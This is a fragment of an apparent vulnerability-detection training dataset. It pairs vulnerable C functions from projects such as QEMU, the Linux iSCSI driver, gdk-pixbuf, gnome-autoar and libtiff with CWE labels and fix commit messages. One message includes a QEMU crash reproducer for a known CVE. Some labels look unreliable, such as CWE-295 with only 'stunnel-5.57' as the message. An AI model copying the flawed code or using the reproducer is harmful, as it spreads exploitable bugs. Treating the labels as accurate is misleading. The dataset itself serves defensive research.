[section]\";\n /* no need to check for section->sni in inetd mode,\n as it requires valid sections to be set */\n if(endpoints!=1)\n return \"Inetd mode must define one endpoint\";\n }\n#ifdef SSL_OP_NO_TICKET\n /* disable RFC4507 support introduced in OpenSSL 0.9.8f */\n /* OpenSSL 1.1.1 is required to serialize application data\n * into session tickets */\n /* server mode sections need it for the \"redirect\" option\n * and connect address session persistence */\n if(OpenSSL_version_num()<0x10101000L &&\n !section->option.client &&\n !section->option.connect_before_ssl)\n section->ssl_options_set|=SSL_OP_NO_TICKET;\n#endif /* SSL_OP_NO_TICKET */\n if(context_init(section)) /* initialize TLS context */\n return \"Failed to initialize TLS context\";\n break;\n case CMD_PRINT_DEFAULTS:\n break;\n case CMD_PRINT_HELP:\n break;\n }\n\n return NULL; /* OK */\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-295'], 'message': 'stunnel-5.57'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: NOEXPORT unsigned __stdcall daemon_thread(void *arg) {\n (void)arg; /* squash the unused parameter warning */\n\n tls_alloc(NULL, NULL, \"main\"); /* new thread-local storage */\n main_init();\n SetEvent(main_initialized); /* unlock the GUI thread */\n /* get a valid configuration */\n while(main_configure(cmdline.config_file, NULL)) {\n if(cmdline.config_file && *cmdline.config_file=='-')\n cmdline.config_file=NULL; /* don't retry commandline switches */\n unbind_ports(); /* in case initialization failed after bind_ports() */\n log_flush(LOG_MODE_ERROR); /* otherwise logs are buffered */\n PostMessage(hwnd, WM_INVALID_CONFIG, 0, 0); /* display error */\n WaitForSingleObject(config_ready, INFINITE);\n }\n PostMessage(hwnd, WM_VALID_CONFIG, 0, 0);\n\n /* start the main loop */\n daemon_loop();\n main_cleanup();\n _endthreadex(0); /* SIGNAL_TERMINATE received */\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-295'], 'message': 'stunnel-5.57'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int attr_is_equal_ex(xmlAttrPtr node, char *name, char *ns)\n{\n\tif (name == NULL || strcmp((char*)node->name, name) == 0) {\n\t\tif (ns) {\n\t\t\txmlNsPtr nsPtr = attr_find_ns(node);\n\t\t\tif (nsPtr) {\n\t\t\t\treturn (strcmp((char*)nsPtr->href, ns) == 0);\n\t\t\t} else {\n\t\t\t\treturn FALSE;\n\t\t\t}\n\t\t}\n\t\treturn TRUE;\n\t}\n\treturn FALSE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fix bug #80672 - Null Dereference in SoapClient'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: autoar_extractor_step_extract (AutoarExtractor *self) {\n /* Step 3: Extract files\n * We have to re-open the archive to extract files\n */\n\n struct archive *a;\n struct archive_entry *entry;\n\n int r;\n\n g_debug (\"autoar_extractor_step_extract: called\");\n\n r = libarchive_create_read_object (self->use_raw_format, self, &a);\n if (r != ARCHIVE_OK) {\n if (self->error == NULL) {\n self->error =\n autoar_common_g_error_new_a (a, self->source_basename);\n }\n archive_read_free (a);\n return;\n }\n\n while ((r = archive_read_next_header (a, &entry)) == ARCHIVE_OK) {\n const char *pathname;\n const char *hardlink;\n g_autoptr (GFile) extracted_filename = NULL;\n g_autoptr (GFile) hardlink_filename = NULL;\n AutoarConflictAction action;\n gboolean file_conflict;\n\n if (g_cancellable_is_cancelled (self->cancellable)) {\n archive_read_free (a);\n return;\n }\n\n pathname = archive_entry_pathname (entry);\n hardlink = archive_entry_hardlink (entry);\n\n extracted_filename =\n autoar_extractor_do_sanitize_pathname (self, pathname);\n\n if (hardlink != NULL) {\n hardlink_filename =\n autoar_extractor_do_sanitize_pathname (self, hardlink);\n }\n\n /* Attempt to solve any name conflict before doing any operations */\n file_conflict = autoar_extractor_check_file_conflict (extracted_filename,\n archive_entry_filetype (entry));\n while (file_conflict) {\n GFile *new_extracted_filename = NULL;\n\n action = autoar_extractor_signal_conflict (self,\n extracted_filename,\n &new_extracted_filename);\n\n switch (action) {\n case AUTOAR_CONFLICT_OVERWRITE:\n break;\n case AUTOAR_CONFLICT_CHANGE_DESTINATION:\n g_assert_nonnull (new_extracted_filename);\n g_clear_object (&extracted_filename);\n extracted_filename = new_extracted_filename;\n break;\n case AUTOAR_CONFLICT_SKIP:\n archive_read_data_skip (a);\n break;\n default:\n g_assert_not_reached ();\n break;\n }\n\n if (action != AUTOAR_CONFLICT_CHANGE_DESTINATION) {\n break;\n }\n\n file_conflict = autoar_extractor_check_file_conflict (extracted_filename,\n archive_entry_filetype (entry));\n }\n\n if (file_conflict && action == AUTOAR_CONFLICT_SKIP) {\n continue;\n }\n\n autoar_extractor_do_write_entry (self, a, entry,\n extracted_filename, hardlink_filename);\n\n if (self->error != NULL) {\n archive_read_free (a);\n return;\n }\n\n self->completed_files++;\n autoar_extractor_signal_progress (self);\n }\n\n if (r != ARCHIVE_EOF) {\n if (self->error == NULL) {\n self->error =\n autoar_common_g_error_new_a (a, self->source_basename);\n }\n archive_read_free (a);\n return;\n }\n\n archive_read_free (a);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-22'], 'message': 'AutoarExtractor: Do not extract files outside the destination dir\n\nCurrently, a malicious archive can cause that the files are extracted\noutside of the destination dir. This can happen if the archive contains\na file whose parent is a symbolic link, which points outside of the\ndestination dir. This is potentially a security threat similar to\nCVE-2020-11736. Let's skip such problematic files when extracting.\n\nFixes: https://gitlab.gnome.org/GNOME/gnome-autoar/-/issues/7'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: lzw_decoder_feed (LZWDecoder *self,\n guint8 *input,\n gsize input_length,\n guint8 *output,\n gsize output_length)\n{\n gsize i, n_written = 0;\n\n g_return_val_if_fail (LZW_IS_DECODER (self), 0);\n\n /* Ignore data after \"end of information\" codeword */\n if (self->last_code == self->eoi_code)\n return 0;\n\n /* Processes each octet of input */\n for (i = 0; i < input_length; i++) {\n guint8 d = input[i];\n int n_available;\n\n /* Process the bits of the octet into codewords */\n for (n_available = 8; n_available > 0; ) {\n int n_bits, new_bits;\n\n /* Extract up the the required number of bits from the octet */\n n_bits = MIN (self->code_size - self->code_bits, n_available);\n new_bits = d & ((1 << n_bits) - 1);\n d = d >> n_bits;\n n_available -= n_bits;\n\n /* Add the new bits to the code until we have a full codeword */\n self->code = new_bits << self->code_bits | self->code;\n self->code_bits += n_bits;\n if (self->code_bits < self->code_size)\n continue;\n\n /* Stop on \"end of information\" codeword */\n if (self->code == self->eoi_code) {\n self->last_code = self->code;\n return n_written;\n }\n\n /* Reset the code table on \"clear\" */\n if (self->code == self->clear_code) {\n self->code_table_size = self->eoi_code + 1;\n self->code_size = self->min_code_size;\n } else {\n /* Add a new code word if space.\n * The first code after a clear is skipped */\n if (self->last_code != self->clear_code && self->code_table_size < MAX_CODES) {\n if (self->code < self->code_table_size)\n add_code (self, self->code);\n else if (self->code == self->code_table_size)\n add_code (self, self->last_code);\n else {\n /* Invalid code received - just stop here */\n self->last_code = self->eoi_code;\n return output_length;\n }\n\n /* When table is full increase code size */\n if (self->code_table_size == (1 << self->code_size) && self->code_size < LZW_CODE_MAX)\n self->code_size++;\n }\n\n /* Convert codeword into indexes */\n n_written += write_indexes (self, output + n_written, output_length - n_written);\n }\n\n self->last_code = self->code;\n self->code = 0;\n self->code_bits = 0;\n\n /* Out of space */\n if (n_written >= output_length)\n return output_length;\n }\n }\n\n return n_written;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-835'], 'message': 'gif: Fix LZW decoder accepting invalid LZW code.\n\nThe code value after a reset wasn't being validated, which means we would\naccept invalid codes. This could cause an infinite loop in the decoder.\n\nFixes CVE-2020-29385\n\nFixes https://gitlab.gnome.org/GNOME/gdk-pixbuf/-/issues/164'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: sdhci_write(void *opaque, hwaddr offset, uint64_t val, unsigned size)\n{\n SDHCIState *s = (SDHCIState *)opaque;\n unsigned shift = 8 * (offset & 0x3);\n uint32_t mask = ~(((1ULL << (size * 8)) - 1) << shift);\n uint32_t value = val;\n value <<= shift;\n\n if (timer_pending(s->transfer_timer)) {\n sdhci_resume_pending_transfer(s);\n }\n\n switch (offset & ~0x3) {\n case SDHC_SYSAD:\n if (!TRANSFERRING_DATA(s->prnsts)) {\n s->sdmasysad = (s->sdmasysad & mask) | value;\n MASKED_WRITE(s->sdmasysad, mask, value);\n /* Writing to last byte of sdmasysad might trigger transfer */\n if (!(mask & 0xFF000000) && s->blkcnt && s->blksize &&\n SDHC_DMA_TYPE(s->hostctl1) == SDHC_CTRL_SDMA) {\n if (s->trnmod & SDHC_TRNS_MULTI) {\n sdhci_sdma_transfer_multi_blocks(s);\n } else {\n sdhci_sdma_transfer_single_block(s);\n }\n }\n }\n break;\n case SDHC_BLKSIZE:\n if (!TRANSFERRING_DATA(s->prnsts)) {\n MASKED_WRITE(s->blksize, mask, extract32(value, 0, 12));\n MASKED_WRITE(s->blkcnt, mask >> 16, value >> 16);\n\n /* Limit block size to the maximum buffer size */\n if (extract32(s->blksize, 0, 12) > s->buf_maxsz) {\n qemu_log_mask(LOG_GUEST_ERROR, \"%s: Size 0x%x is larger than \"\n \"the maximum buffer 0x%x\\n\", __func__, s->blksize,\n s->buf_maxsz);\n\n s->blksize = deposit32(s->blksize, 0, 12, s->buf_maxsz);\n }\n }\n\n break;\n case SDHC_ARGUMENT:\n MASKED_WRITE(s->argument, mask, value);\n break;\n case SDHC_TRNMOD:\n /* DMA can be enabled only if it is supported as indicated by\n * capabilities register */\n if (!(s->capareg & R_SDHC_CAPAB_SDMA_MASK)) {\n value &= ~SDHC_TRNS_DMA;\n }\n MASKED_WRITE(s->trnmod, mask, value & SDHC_TRNMOD_MASK);\n MASKED_WRITE(s->cmdreg, mask >> 16, value >> 16);\n\n /* Writing to the upper byte of CMDREG triggers SD command generation */\n if ((mask & 0xFF000000) || !sdhci_can_issue_command(s)) {\n break;\n }\n\n sdhci_send_command(s);\n break;\n case SDHC_BDATA:\n if (sdhci_buff_access_is_sequential(s, offset - SDHC_BDATA)) {\n sdhci_write_dataport(s, value >> shift, size);\n }\n break;\n case SDHC_HOSTCTL:\n if (!(mask & 0xFF0000)) {\n sdhci_blkgap_write(s, value >> 16);\n }\n MASKED_WRITE(s->hostctl1, mask, value);\n MASKED_WRITE(s->pwrcon, mask >> 8, value >> 8);\n MASKED_WRITE(s->wakcon, mask >> 24, value >> 24);\n if (!(s->prnsts & SDHC_CARD_PRESENT) || ((s->pwrcon >> 1) & 0x7) < 5 ||\n !(s->capareg & (1 << (31 - ((s->pwrcon >> 1) & 0x7))))) {\n s->pwrcon &= ~SDHC_POWER_ON;\n }\n break;\n case SDHC_CLKCON:\n if (!(mask & 0xFF000000)) {\n sdhci_reset_write(s, value >> 24);\n }\n MASKED_WRITE(s->clkcon, mask, value);\n MASKED_WRITE(s->timeoutcon, mask >> 16, value >> 16);\n if (s->clkcon & SDHC_CLOCK_INT_EN) {\n s->clkcon |= SDHC_CLOCK_INT_STABLE;\n } else {\n s->clkcon &= ~SDHC_CLOCK_INT_STABLE;\n }\n break;\n case SDHC_NORINTSTS:\n if (s->norintstsen & SDHC_NISEN_CARDINT) {\n value &= ~SDHC_NIS_CARDINT;\n }\n s->norintsts &= mask | ~value;\n s->errintsts &= (mask >> 16) | ~(value >> 16);\n if (s->errintsts) {\n s->norintsts |= SDHC_NIS_ERR;\n } else {\n s->norintsts &= ~SDHC_NIS_ERR;\n }\n sdhci_update_irq(s);\n break;\n case SDHC_NORINTSTSEN:\n MASKED_WRITE(s->norintstsen, mask, value);\n MASKED_WRITE(s->errintstsen, mask >> 16, value >> 16);\n s->norintsts &= s->norintstsen;\n s->errintsts &= s->errintstsen;\n if (s->errintsts) {\n s->norintsts |= SDHC_NIS_ERR;\n } else {\n s->norintsts &= ~SDHC_NIS_ERR;\n }\n /* Quirk for Raspberry Pi: pending card insert interrupt\n * appears when first enabled after power on */\n if ((s->norintstsen & SDHC_NISEN_INSERT) && s->pending_insert_state) {\n assert(s->pending_insert_quirk);\n s->norintsts |= SDHC_NIS_INSERT;\n s->pending_insert_state = false;\n }\n sdhci_update_irq(s);\n break;\n case SDHC_NORINTSIGEN:\n MASKED_WRITE(s->norintsigen, mask, value);\n MASKED_WRITE(s->errintsigen, mask >> 16, value >> 16);\n sdhci_update_irq(s);\n break;\n case SDHC_ADMAERR:\n MASKED_WRITE(s->admaerr, mask, value);\n break;\n case SDHC_ADMASYSADDR:\n s->admasysaddr = (s->admasysaddr & (0xFFFFFFFF00000000ULL |\n (uint64_t)mask)) | (uint64_t)value;\n break;\n case SDHC_ADMASYSADDR + 4:\n s->admasysaddr = (s->admasysaddr & (0x00000000FFFFFFFFULL |\n ((uint64_t)mask << 32))) | ((uint64_t)value << 32);\n break;\n case SDHC_FEAER:\n s->acmd12errsts |= value;\n s->errintsts |= (value >> 16) & s->errintstsen;\n if (s->acmd12errsts) {\n s->errintsts |= SDHC_EIS_CMD12ERR;\n }\n if (s->errintsts) {\n s->norintsts |= SDHC_NIS_ERR;\n }\n sdhci_update_irq(s);\n break;\n case SDHC_ACMD12ERRSTS:\n MASKED_WRITE(s->acmd12errsts, mask, value & UINT16_MAX);\n if (s->uhs_mode >= UHS_I) {\n MASKED_WRITE(s->hostctl2, mask >> 16, value >> 16);\n\n if (FIELD_EX32(s->hostctl2, SDHC_HOSTCTL2, V18_ENA)) {\n sdbus_set_voltage(&s->sdbus, SD_VOLTAGE_1_8V);\n } else {\n sdbus_set_voltage(&s->sdbus, SD_VOLTAGE_3_3V);\n }\n }\n break;\n\n case SDHC_CAPAB:\n case SDHC_CAPAB + 4:\n case SDHC_MAXCURR:\n case SDHC_MAXCURR + 4:\n qemu_log_mask(LOG_GUEST_ERROR, \"SDHC wr_%ub @0x%02\" HWADDR_PRIx\n \" <- 0x%08x read-only\\n\", size, offset, value >> shift);\n break;\n\n default:\n qemu_log_mask(LOG_UNIMP, \"SDHC wr_%ub @0x%02\" HWADDR_PRIx \" <- 0x%08x \"\n \"not implemented\\n\", size, offset, value >> shift);\n break;\n }\n trace_sdhci_access(\"wr\", size << 3, offset, \"<-\",\n value >> shift, value >> shift);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'hw/sd: sdhci: Reset the data pointer of s->fifo_buffer[] when a different block size is programmed\n\nIf the block size is programmed to a different value from the\nprevious one, reset the data pointer of s->fifo_buffer[] so that\ns->fifo_buffer[] can be filled in using the new block size in\nthe next transfer.\n\nWith this fix, the following reproducer:\n\noutl 0xcf8 0x80001010\noutl 0xcfc 0xe0000000\noutl 0xcf8 0x80001001\noutl 0xcfc 0x06000000\nwrite 0xe000002c 0x1 0x05\nwrite 0xe0000005 0x1 0x02\nwrite 0xe0000007 0x1 0x01\nwrite 0xe0000028 0x1 0x10\nwrite 0x0 0x1 0x23\nwrite 0x2 0x1 0x08\nwrite 0xe000000c 0x1 0x01\nwrite 0xe000000e 0x1 0x20\nwrite 0xe000000f 0x1 0x00\nwrite 0xe000000c 0x1 0x32\nwrite 0xe0000004 0x2 0x0200\nwrite 0xe0000028 0x1 0x00\nwrite 0xe0000003 0x1 0x40\n\ncannot be reproduced with the following QEMU command line:\n\n$ qemu-system-x86_64 -nographic -machine accel=qtest -m 512M \\\n -nodefaults -device sdhci-pci,sd-spec-version=3 \\\n -drive if=sd,index=0,file=null-co://,format=raw,id=mydrive \\\n -device sd-card,drive=mydrive -qtest stdio\n\nCc: qemu-stable@nongnu.org\nFixes: CVE-2020-17380\nFixes: CVE-2020-25085\nFixes: CVE-2021-3409\nFixes: d7dfca0807a0 (\"hw/sdhci: introduce standard SD host controller\")\nReported-by: Alexander Bulekov \nReported-by: Cornelius Aschermann (Ruhr-Universit\u00e4t Bochum)\nReported-by: Sergej Schumilo (Ruhr-Universit\u00e4t Bochum)\nReported-by: Simon W\u00f6rner (Ruhr-Universit\u00e4t Bochum)\nBuglink: https://bugs.launchpad.net/qemu/+bug/1892960\nBuglink: https://bugs.launchpad.net/qemu/+bug/1909418\nBuglink: https://bugzilla.redhat.com/show_bug.cgi?id=1928146\nTested-by: Alexander Bulekov \nSigned-off-by: Bin Meng \nMessage-Id: <20210303122639.20004-6-bmeng.cn@gmail.com>\nSigned-off-by: Philippe Mathieu-Daud\u00e9 '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: show_ep_handle(struct device *dev, struct device_attribute *attr, char *buf)\n{\n\tstruct iscsi_endpoint *ep = iscsi_dev_to_endpoint(dev);\n\treturn sprintf(buf, \"%llu\\n\", (unsigned long long) ep->id);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'scsi: iscsi: Ensure sysfs attributes are limited to PAGE_SIZE\n\nAs the iSCSI parameters are exported back through sysfs, it should be\nenforcing that they never are more than PAGE_SIZE (which should be more\nthan enough) before accepting updates through netlink.\n\nChange all iSCSI sysfs attributes to use sysfs_emit().\n\nCc: stable@vger.kernel.org\nReported-by: Adam Nichols \nReviewed-by: Lee Duncan \nReviewed-by: Greg Kroah-Hartman \nReviewed-by: Mike Christie \nSigned-off-by: Chris Leech \nSigned-off-by: Martin K. Petersen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: \n\nstatic int\niscsi_if_recv_msg(struct sk_buff *skb, struct nlmsghdr *nlh, uint32_t *group)\n{\n\tint err = 0;\n\tu32 portid;\n\tstruct iscsi_uevent *ev = nlmsg_data(nlh);\n\tstruct iscsi_transport *transport = NULL;\n\tstruct iscsi_internal *priv;\n\tstruct iscsi_cls_session *session;\n\tstruct iscsi_cls_conn *conn;\n\tstruct iscsi_endpoint *ep = NULL;\n\n\tif (!netlink_capable(skb, CAP_SYS_ADMIN))\n\t\treturn -EPERM;\n\n\tif (nlh->nlmsg_type == ISCSI_UEVENT_PATH_UPDATE)\n\t\t*group = ISCSI_NL_GRP_UIP;\n\telse\n\t\t*group = ISCSI_NL_GRP_ISCSID;\n\n\tpriv = iscsi_if_transport_lookup(iscsi_ptr(ev->transport_handle));\n\tif (!priv)\n\t\treturn -EINVAL;\n\ttransport = priv->iscsi_transport;\n\n\tif (!try_module_get(transport->owner))\n\t\treturn -EINVAL;\n\n\tportid = NETLINK_CB(skb).portid;\n\n\tswitch (nlh->nlmsg_type) {\n\tcase ISCSI_UEVENT_CREATE_SESSION:\n\t\terr = iscsi_if_create_session(priv, ep, ev,\n\t\t\t\t\t portid,\n\t\t\t\t\t ev->u.c_session.initial_cmdsn,\n\t\t\t\t\t ev->u.c_session.cmds_max,\n\t\t\t\t\t ev->u.c_session.queue_depth);\n\t\tbreak;\n\tcase ISCSI_UEVENT_CREATE_BOUND_SESSION:\n\t\tep = iscsi_lookup_endpoint(ev->u.c_bound_session.ep_handle);\n\t\tif (!ep) {\n\t\t\terr = -EINVAL;\n\t\t\tbreak;\n\t\t}\n\n\t\terr = iscsi_if_create_session(priv, ep, ev,\n\t\t\t\t\tportid,\n\t\t\t\t\tev->u.c_bound_session.initial_cmdsn,\n\t\t\t\t\tev->u.c_bound_session.cmds_max,\n\t\t\t\t\tev->u.c_bound_session.queue_depth);\n\t\tbreak;\n\tcase ISCSI_UEVENT_DESTROY_SESSION:\n\t\tsession = iscsi_session_lookup(ev->u.d_session.sid);\n\t\tif (!session)\n\t\t\terr = -EINVAL;\n\t\telse if (iscsi_session_has_conns(ev->u.d_session.sid))\n\t\t\terr = -EBUSY;\n\t\telse\n\t\t\ttransport->destroy_session(session);\n\t\tbreak;\n\tcase ISCSI_UEVENT_DESTROY_SESSION_ASYNC:\n\t\tsession = iscsi_session_lookup(ev->u.d_session.sid);\n\t\tif (!session)\n\t\t\terr = -EINVAL;\n\t\telse if (iscsi_session_has_conns(ev->u.d_session.sid))\n\t\t\terr = -EBUSY;\n\t\telse {\n\t\t\tunsigned long flags;\n\n\t\t\t/* Prevent this session from being found again */\n\t\t\tspin_lock_irqsave(&sesslock, flags);\n\t\t\tlist_del_init(&session->sess_list);\n\t\t\tspin_unlock_irqrestore(&sesslock, flags);\n\n\t\t\tqueue_work(iscsi_destroy_workq, &session->destroy_work);\n\t\t}\n\t\tbreak;\n\tcase ISCSI_UEVENT_UNBIND_SESSION:\n\t\tsession = iscsi_session_lookup(ev->u.d_session.sid);\n\t\tif (session)\n\t\t\tscsi_queue_work(iscsi_session_to_shost(session),\n\t\t\t\t\t&session->unbind_work);\n\t\telse\n\t\t\terr = -EINVAL;\n\t\tbreak;\n\tcase ISCSI_UEVENT_CREATE_CONN:\n\t\terr = iscsi_if_create_conn(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_DESTROY_CONN:\n\t\terr = iscsi_if_destroy_conn(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_BIND_CONN:\n\t\tsession = iscsi_session_lookup(ev->u.b_conn.sid);\n\t\tconn = iscsi_conn_lookup(ev->u.b_conn.sid, ev->u.b_conn.cid);\n\n\t\tif (conn && conn->ep)\n\t\t\tiscsi_if_ep_disconnect(transport, conn->ep->id);\n\n\t\tif (!session || !conn) {\n\t\t\terr = -EINVAL;\n\t\t\tbreak;\n\t\t}\n\n\t\tmutex_lock(&conn_mutex);\n\t\tev->r.retcode =\ttransport->bind_conn(session, conn,\n\t\t\t\t\t\tev->u.b_conn.transport_eph,\n\t\t\t\t\t\tev->u.b_conn.is_leading);\n\t\tmutex_unlock(&conn_mutex);\n\n\t\tif (ev->r.retcode || !transport->ep_connect)\n\t\t\tbreak;\n\n\t\tep = iscsi_lookup_endpoint(ev->u.b_conn.transport_eph);\n\t\tif (ep) {\n\t\t\tep->conn = conn;\n\n\t\t\tmutex_lock(&conn->ep_mutex);\n\t\t\tconn->ep = ep;\n\t\t\tmutex_unlock(&conn->ep_mutex);\n\t\t} else\n\t\t\tiscsi_cls_conn_printk(KERN_ERR, conn,\n\t\t\t\t\t \"Could not set ep conn \"\n\t\t\t\t\t \"binding\\n\");\n\t\tbreak;\n\tcase ISCSI_UEVENT_SET_PARAM:\n\t\terr = iscsi_set_param(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_START_CONN:\n\t\tconn = iscsi_conn_lookup(ev->u.start_conn.sid, ev->u.start_conn.cid);\n\t\tif (conn) {\n\t\t\tmutex_lock(&conn_mutex);\n\t\t\tev->r.retcode = transport->start_conn(conn);\n\t\t\tif (!ev->r.retcode)\n\t\t\t\tconn->state = ISCSI_CONN_UP;\n\t\t\tmutex_unlock(&conn_mutex);\n\t\t}\n\t\telse\n\t\t\terr = -EINVAL;\n\t\tbreak;\n\tcase ISCSI_UEVENT_STOP_CONN:\n\t\tconn = iscsi_conn_lookup(ev->u.stop_conn.sid, ev->u.stop_conn.cid);\n\t\tif (conn)\n\t\t\tiscsi_if_stop_conn(conn, ev->u.stop_conn.flag);\n\t\telse\n\t\t\terr = -EINVAL;\n\t\tbreak;\n\tcase ISCSI_UEVENT_SEND_PDU:\n\t\tconn = iscsi_conn_lookup(ev->u.send_pdu.sid, ev->u.send_pdu.cid);\n\t\tif (conn) {\n\t\t\tmutex_lock(&conn_mutex);\n\t\t\tev->r.retcode =\ttransport->send_pdu(conn,\n\t\t\t\t(struct iscsi_hdr*)((char*)ev + sizeof(*ev)),\n\t\t\t\t(char*)ev + sizeof(*ev) + ev->u.send_pdu.hdr_size,\n\t\t\t\tev->u.send_pdu.data_size);\n\t\t\tmutex_unlock(&conn_mutex);\n\t\t}\n\t\telse\n\t\t\terr = -EINVAL;\n\t\tbreak;\n\tcase ISCSI_UEVENT_GET_STATS:\n\t\terr = iscsi_if_get_stats(transport, nlh);\n\t\tbreak;\n\tcase ISCSI_UEVENT_TRANSPORT_EP_CONNECT:\n\tcase ISCSI_UEVENT_TRANSPORT_EP_POLL:\n\tcase ISCSI_UEVENT_TRANSPORT_EP_DISCONNECT:\n\tcase ISCSI_UEVENT_TRANSPORT_EP_CONNECT_THROUGH_HOST:\n\t\terr = iscsi_if_transport_ep(transport, ev, nlh->nlmsg_type);\n\t\tbreak;\n\tcase ISCSI_UEVENT_TGT_DSCVR:\n\t\terr = iscsi_tgt_dscvr(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_SET_HOST_PARAM:\n\t\terr = iscsi_set_host_param(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_PATH_UPDATE:\n\t\terr = iscsi_set_path(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_SET_IFACE_PARAMS:\n\t\terr = iscsi_set_iface_params(transport, ev,\n\t\t\t\t\t nlmsg_attrlen(nlh, sizeof(*ev)));\n\t\tbreak;\n\tcase ISCSI_UEVENT_PING:\n\t\terr = iscsi_send_ping(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_GET_CHAP:\n\t\terr = iscsi_get_chap(transport, nlh);\n\t\tbreak;\n\tcase ISCSI_UEVENT_DELETE_CHAP:\n\t\terr = iscsi_delete_chap(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_SET_FLASHNODE_PARAMS:\n\t\terr = iscsi_set_flashnode_param(transport, ev,\n\t\t\t\t\t\tnlmsg_attrlen(nlh,\n\t\t\t\t\t\t\t sizeof(*ev)));\n\t\tbreak;\n\tcase ISCSI_UEVENT_NEW_FLASHNODE:\n\t\terr = iscsi_new_flashnode(transport, ev,\n\t\t\t\t\t nlmsg_attrlen(nlh, sizeof(*ev)));\n\t\tbreak;\n\tcase ISCSI_UEVENT_DEL_FLASHNODE:\n\t\terr = iscsi_del_flashnode(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_LOGIN_FLASHNODE:\n\t\terr = iscsi_login_flashnode(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_LOGOUT_FLASHNODE:\n\t\terr = iscsi_logout_flashnode(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_LOGOUT_FLASHNODE_SID:\n\t\terr = iscsi_logout_flashnode_sid(transport, ev);\n\t\tbreak;\n\tcase ISCSI_UEVENT_SET_CHAP:\n\t\terr = iscsi_set_chap(transport, ev,\n\t\t\t\t nlmsg_attrlen(nlh, sizeof(*ev)));\n\t\tbreak;\n\tcase ISCSI_UEVENT_GET_HOST_STATS:\n\t\terr = iscsi_get_host_stats(transport, nlh);\n\t\tbreak;\n\tdefault:\n\t\terr = -ENOSYS;\n\t\tbreak;\n\t}\n ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'scsi: iscsi: Verify lengths on passthrough PDUs\n\nOpen-iSCSI sends passthrough PDUs over netlink, but the kernel should be\nverifying that the provided PDU header and data lengths fall within the\nnetlink message to prevent accessing beyond that in memory.\n\nCc: stable@vger.kernel.org\nReported-by: Adam Nichols \nReviewed-by: Lee Duncan \nReviewed-by: Mike Christie \nSigned-off-by: Chris Leech \nSigned-off-by: Martin K. Petersen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: cvt_whole_image( TIFF *in, TIFF *out )\n\n{\n uint32* raster;\t\t\t/* retrieve RGBA image */\n uint32 width, height;\t\t/* image width & height */\n uint32 row;\n size_t pixel_count;\n \n TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width);\n TIFFGetField(in, TIFFTAG_IMAGELENGTH, &height);\n pixel_count = width * height;\n\n /* XXX: Check the integer overflow. */\n if (!width || !height || pixel_count / width != height) {\n TIFFError(TIFFFileName(in),\n\t\t \"Malformed input file; can't allocate buffer for raster of %lux%lu size\",\n\t\t (unsigned long)width, (unsigned long)height);\n return 0;\n }\n\n rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip);\n TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip);\n\n raster = (uint32*)_TIFFCheckMalloc(in, pixel_count, sizeof(uint32), \"raster buffer\");\n if (raster == 0) {\n TIFFError(TIFFFileName(in), \"Failed to allocate buffer (%lu elements of %lu each)\",\n\t\t (unsigned long)pixel_count, (unsigned long)sizeof(uint32));\n return (0);\n }\n\n /* Read the image in one chunk into an RGBA array */\n if (!TIFFReadRGBAImageOriented(in, width, height, raster,\n ORIENTATION_TOPLEFT, 0)) {\n _TIFFfree(raster);\n return (0);\n }\n\n /*\n * XXX: raster array has 4-byte 